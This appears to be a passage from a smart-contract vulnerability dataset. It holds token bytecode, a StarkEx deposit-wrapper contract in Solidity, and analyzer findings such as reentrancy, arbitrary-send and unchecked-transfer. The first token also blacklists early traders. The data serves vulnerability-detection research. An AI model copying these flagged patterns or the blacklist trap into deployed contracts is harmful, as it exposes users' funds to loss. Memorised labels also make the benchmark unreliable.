0405180910390fd5b5b5b600f548111156119b257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a565750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611aac5750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ab557600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b605750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bce5750600e60179054906101000a900460ff165b15611c6f5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c1e57600080fd5b601e42611c2b919061350e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6003601054611c7e919061350e565b4311611e9e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d305750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d92576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611e9d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e3e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9c576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611ea93061082c565b9050600e60159054906101000a900460ff16158015611f165750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f2e5750600e60169054906101000a900460ff165b15611f5657611f3c81612159565b60004790506000811115611f5457611f534761207f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fff5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561200957600090505b61201584848484612518565b50505050565b6000838311158290612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a9190613236565b60405180910390fd5b506000838561207291906135ef565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120e7573d6000803e3d6000fd5b5050565b6000600654821115612132576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212990613278565b60405180910390fd5b600061213c612545565b905061215181846124ce90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121e55781602001602082028036833780820191505090505b5090503081600081518110612223577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122c557600080fd5b505afa1580156122d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122fd9190612ca5565b81600181518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061239e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140c565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124029594939291906133f3565b600060405180830381600087803b15801561241c57600080fd5b505af1158015612430573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561246657600090506124c8565b600082846124749190613595565b90508284826124839190613564565b146124c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ba906132f8565b60405180910390fd5b809150505b92915050565b600061251083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612570565b905092915050565b80612526576125256125d3565b5b612531848484612604565b8061253f5761253e6127cf565b5b50505050565b60008060006125526127e1565b9150915061256981836124ce90919063ffffffff16565b9250505090565b600080831182906125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ae9190613236565b60405180910390fd5b50600083856125c69190613564565b9050809150509392505050565b60006008541480156125e757506000600954145b156125f157612602565b600060088190555060006009819055505b565b60008060008060008061261687612843565b95509550955095509550955061267486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128aa90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061270985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275581612952565b61275f8483612a0f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127bc91906133d8565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea000009050612817683635c9adc5dea000006006546124ce90919063ffffffff16565b82101561283657600654683635c9adc5dea0000093509350505061283f565b81819350935050505b9091565b600080600080600080600080600061285f8a6008546012612a49565b925092509250600061286f612545565b905060008060006128828e878787612adf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128ec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061201b565b905092915050565b6000808284612903919061350e565b905083811015612948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293f906132b8565b60405180910390fd5b8091505092915050565b600061295c612545565b90506000612973828461245390919063ffffffff16565b90506129c781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a24826006546128aa90919063ffffffff16565b600681905550612a3f816007546128f490919063ffffffff16565b6007819055505050565b600080600080612a756064612a67888a61245390919063ffffffff16565b6124ce90919063ffffffff16565b90506000612a9f6064612a91888b61245390919063ffffffff16565b6124ce90919063ffffffff16565b90506000612ac882612aba858c6128aa90919063ffffffff16565b6128aa90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af8858961245390919063ffffffff16565b90506000612b0f868961245390919063ffffffff16565b90506000612b26878961245390919063ffffffff16565b90506000612b4f82612b4185876128aa90919063ffffffff16565b6128aa90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b7b612b768461348d565b613468565b90508083825260208201905082856020860282011115612b9a57600080fd5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613acb565b92915050565b600081519050612bf881613acb565b92915050565b600082601f830112612c0f57600080fd5b8135612c1f848260208601612b68565b91505092915050565b600081359050612c3781613ae2565b92915050565b600081519050612c4c81613ae2565b92915050565b600081359050612c6181613af9565b92915050565b600081519050612c7681613af9565b92915050565b600060208284031215612c8e57600080fd5b6000612c9c84828501612bd4565b91505092915050565b600060208284031215612cb757600080fd5b6000612cc584828501612be9565b91505092915050565b60008060408385031215612ce157600080fd5b6000612cef85828601612bd4565b9250506020612d0085828601612bd4565b9150509250929050565b600080600060608486031215612d1f57600080fd5b6000612d2d86828701612bd4565b9350506020612d3e86828701612bd4565b9250506040612d4f86828701612c52565b9150509250925092565b60008060408385031215612d6c57600080fd5b6000612d7a85828601612bd4565b9250506020612d8b85828601612c52565b9150509250929050565b600060208284031215612da757600080fd5b600082013567ffffffffffffffff811115612dc157600080fd5b612dcd84828501612bfe565b91505092915050565b600060208284031215612de857600080fd5b6000612df684828501612c28565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c3d565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c52565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612c67565b9350506020612e8586828701612c67565b9250506040612e9686828701612c67565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec181613623565b82525050565b612ed081613623565b82525050565b6000612ee1826134c9565b612eeb81856134ec565b9350612ef6836134b9565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f19836134df565b925050600181019050612efa565b5085935050505092915050565b612f3d81613635565b82525050565b612f4c81613678565b82525050565b6000612f5d826134d4565b612f6781856134fd565b9350612f7781856020860161368a565b612f80816137c4565b840191505092915050565b6000612f986023836134fd565b9150612fa3826137d5565b604082019050919050565b6000612fbb602a836134fd565b9150612fc682613824565b604082019050919050565b6000612fde6022836134fd565b9150612fe982613873565b604082019050919050565b6000613001601b836134fd565b915061300c826138c2565b602082019050919050565b6000613024601d836134fd565b915061302f826138eb565b602082019050919050565b60006130476021836134fd565b915061305282613914565b604082019050919050565b600061306a6020836134fd565b915061307582613963565b602082019050919050565b600061308d6029836134fd565b91506130988261398c565b604082019050919050565b60006130b06025836134fd565b91506130bb826139db565b604082019050919050565b60006130d36024836134fd565b91506130de82613a2a565b604082019050919050565b60006130f66017836134fd565b915061310182613a79565b602082019050919050565b60006131196011836134fd565b915061312482613aa2565b602082019050919050565b61313881613661565b82525050565b6131478161366b565b82525050565b60006020820190506131626000830184612ec7565b92915050565b600060408201905061317d6000830185612ec7565b61318a6020830184612ec7565b9392505050565b60006040820190506131a66000830185612ec7565b6131b3602083018461312f565b9392505050565b600060c0820190506131cf6000830189612ec7565b6131dc602083018861312f565b6131e96040830187612f43565b6131f66060830186612f43565b6132036080830185612ec7565b61321060a083018461312f565b979650505050505050565b60006020820190506132306000830184612f34565b92915050565b600060208201905081810360008301526132508184612f52565b905092915050565b6000602082019050818103600083015261327181612f8b565b9050919050565b6000602082019050818103600083015261329181612fae565b9050919050565b600060208201905081810360008301526132b181612fd1565b9050919050565b600060208201905081810360008301526132d181612ff4565b9050919050565b600060208201905081810360008301526132f181613017565b9050919050565b600060208201905081810360008301526133118161303a565b9050919050565b600060208201905081810360008301526133318161305d565b9050919050565b6000602082019050818103600083015261335181613080565b9050919050565b60006020820190508181036000830152613371816130a3565b9050919050565b60006020820190508181036000830152613391816130c6565b9050919050565b600060208201905081810360008301526133b1816130e9565b9050919050565b600060208201905081810360008301526133d18161310c565b9050919050565b60006020820190506133ed600083018461312f565b92915050565b600060a082019050613408600083018861312f565b6134156020830187612f43565b81810360408301526134278186612ed6565b90506134366060830185612ec7565b613443608083018461312f565b9695505050505050565b6000602082019050613462600083018461313e565b92915050565b6000613472613483565b905061347e82826136bd565b919050565b6000604051905090565b600067ffffffffffffffff8211156134a8576134a7613795565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061351982613661565b915061352483613661565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561355957613558613737565b5b828201905092915050565b600061356f82613661565b915061357a83613661565b92508261358a57613589613766565b5b828204905092915050565b60006135a082613661565b91506135ab83613661565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135e4576135e3613737565b5b828202905092915050565b60006135fa82613661565b915061360583613661565b92508282101561361857613617613737565b5b828203905092915050565b600061362e82613641565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061368382613661565b9050919050565b60005b838110156136a857808201518184015260208101905061368d565b838111156136b7576000848401525b50505050565b6136c6826137c4565b810181811067ffffffffffffffff821117156136e5576136e4613795565b5b80604052505050565b60006136f982613661565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561372c5761372b613737565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ad481613623565b8114613adf57600080fd5b50565b613aeb81613635565b8114613af657600080fd5b50565b613b0281613661565b8114613b0d57600080fd5b5056fe506c616e7420612054726565207c20742e6d652f706c616e7474726565746f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220467a5d3ea0e91c7ae89bb348d0bea6d4f97cb9fdf2b96b20b6dfeada748f4e9764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,388 |
0xd80a8890f5b07cffcd5c939f2c63781ef4fe2642
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IStarkExV2 {
function registerUser(
address ethKey,
uint256 starkKey,
bytes calldata signature
) external;
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
) external;
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId
) external payable;
function getWithdrawalBalance(
uint256 starkKey,
uint256 tokenId
) external view returns (uint256);
function getQuantum(
uint256 presumedAssetType
) external view returns (uint256);
function getAssetInfo(
uint256 assetType
) external view returns (bytes memory);
}
contract DVFInterface2 is Initializable {
IStarkExV2 public instance;
function initialize(
address _deployedStarkExProxy
) public initializer {
instance = IStarkExV2(_deployedStarkExProxy);
}
function registerAndDeposit(
uint256 starkKey,
bytes calldata signature,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount,
address tokenAddress,
uint256 quantum
) public {
instance.registerUser(msg.sender, starkKey, signature);
deposit(starkKey, assetType, vaultId, quantizedAmount, tokenAddress, quantum);
}
function registerAndDepositEth(
uint256 starkKey,
bytes calldata signature,
uint256 assetType,
uint256 vaultId
) public payable {
instance.registerUser(msg.sender, starkKey, signature);
depositEth(starkKey, assetType, vaultId);
}
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount,
address tokenAddress,
uint256 quantum
) public {
IERC20Upgradeable(tokenAddress).transferFrom(msg.sender, address(this), quantizedAmount * quantum);
instance.deposit(starkKey, assetType, vaultId, quantizedAmount);
}
function depositEth(
uint256 starkKey,
uint256 assetType,
uint256 vaultId
) public payable {
require(gasleft() > 53000, 'INSUFFICIENT_GAS');
address(instance).call{value: msg.value }(abi.encodeWithSignature("deposit(uint256,uint256,uint256)", starkKey, assetType, vaultId));
}
function approveTokenToDeployedProxy(
address _token
) public {
IERC20Upgradeable(_token).approve(address(instance), 2 ** 96 - 1);
}
function allWithdrawalBalances(
uint256[] calldata _tokenIds,
uint256 _whoKey
) public view returns (uint256[] memory balances) {
balances = new uint256[](_tokenIds.length);
for (uint i = 0; i < _tokenIds.length; i++) {
balances[i] = instance.getWithdrawalBalance(_whoKey, _tokenIds[i]);
}
}
}
|
0x60806040526004361061007b5760003560e01c8063a778c0c31161004e578063a778c0c31461024e578063c4d66de8146102cb578063dccad524146102fe578063f74e9fcd1461034f5761007b565b8063022ec09514610080578063108208cf146100b157806352027193146101585780636ce5d95714610225575b600080fd5b34801561008c57600080fd5b50610095610382565b604080516001600160a01b039092168252519081900360200190f35b3480156100bd57600080fd5b50610156600480360360e08110156100d457600080fd5b813591908101906040810160208201356401000000008111156100f657600080fd5b82018360208201111561010857600080fd5b8035906020019184600183028401116401000000008311171561012a57600080fd5b91935091508035906020810135906040810135906001600160a01b036060820135169060800135610397565b005b34801561016457600080fd5b506101d56004803603604081101561017b57600080fd5b81019060208101813564010000000081111561019657600080fd5b8201836020820111156101a857600080fd5b803590602001918460208302840111640100000000831117156101ca57600080fd5b919350915035610454565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102115781810151838201526020016101f9565b505050509050019250505060405180910390f35b6101566004803603606081101561023b57600080fd5b5080359060208101359060400135610560565b6101566004803603608081101561026457600080fd5b8135919081019060408101602082013564010000000081111561028657600080fd5b82018360208201111561029857600080fd5b803590602001918460018302840111640100000000831117156102ba57600080fd5b91935091508035906020013561069d565b3480156102d757600080fd5b50610156600480360360208110156102ee57600080fd5b50356001600160a01b0316610754565b34801561030a57600080fd5b50610156600480360360c081101561032157600080fd5b508035906020810135906040810135906060810135906001600160a01b036080820135169060a00135610819565b34801561035b57600080fd5b506101566004803603602081101561037257600080fd5b50356001600160a01b031661091d565b6000546201000090046001600160a01b031681565b600054604051633749053560e21b81523360048201818152602483018c9052606060448401908152606484018b9052620100009094046001600160a01b03169363dd2414d4938d928d928d92608401848480828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561042457600080fd5b505af1158015610438573d6000803e3d6000fd5b5050505061044a888686868686610819565b5050505050505050565b60608267ffffffffffffffff8111801561046d57600080fd5b50604051908082528060200260200182016040528015610497578160200160208202803683370190505b50905060005b83811015610558576000546201000090046001600160a01b031663ec3161b0848787858181106104c957fe5b905060200201356040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561050b57600080fd5b505afa15801561051f573d6000803e3d6000fd5b505050506040513d602081101561053557600080fd5b5051825183908390811061054557fe5b602090810291909101015260010161049d565b509392505050565b61cf085a116105a9576040805162461bcd60e51b815260206004820152601060248201526f494e53554646494349454e545f47415360801b604482015290519081900360640190fd5b60005460408051602481018690526044810185905260648082018590528251808303909101815260849091018252602081018051625777c560e11b6001600160e01b0390911617815291518151620100009094046001600160a01b031693349382918083835b6020831061062e5780518252601f19909201916020918201910161060f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610690576040519150601f19603f3d011682016040523d82523d6000602084013e610695565b606091505b505050505050565b600054604051633749053560e21b815233600482018181526024830189905260606044840190815260648401889052620100009094046001600160a01b03169363dd2414d4938a928a928a92608401848480828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561072a57600080fd5b505af115801561073e573d6000803e3d6000fd5b5050505061074d858383610560565b5050505050565b600054610100900460ff168061076d575061076d6109c4565b8061077b575060005460ff16155b6107b65760405162461bcd60e51b815260040180806020018281038252602e8152602001806109dc602e913960400191505060405180910390fd5b600054610100900460ff161580156107e1576000805460ff1961ff0019909116610100171660011790555b6000805462010000600160b01b031916620100006001600160a01b038516021790558015610815576000805461ff00191690555b5050565b604080516323b872dd60e01b8152336004820152306024820152848302604482015290516001600160a01b038416916323b872dd9160648083019260209291908290030181600087803b15801561086f57600080fd5b505af1158015610883573d6000803e3d6000fd5b505050506040513d602081101561089957600080fd5b50506000805460408051632505c3d960e01b8152600481018a90526024810189905260448101889052606481018790529051620100009092046001600160a01b031692632505c3d99260848084019382900301818387803b1580156108fd57600080fd5b505af1158015610911573d6000803e3d6000fd5b50505050505050505050565b806001600160a01b031663095ea7b3600060029054906101000a90046001600160a01b03166bffffffffffffffffffffffff6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561099557600080fd5b505af11580156109a9573d6000803e3d6000fd5b505050506040513d60208110156109bf57600080fd5b505050565b60006109cf306109d5565b15905090565b3b15159056fe496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564a264697066735822122048e3bf85b1c866919c3a1db6e95cb8d0134526844b0b40d18b3672d8db89b22364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,389 |
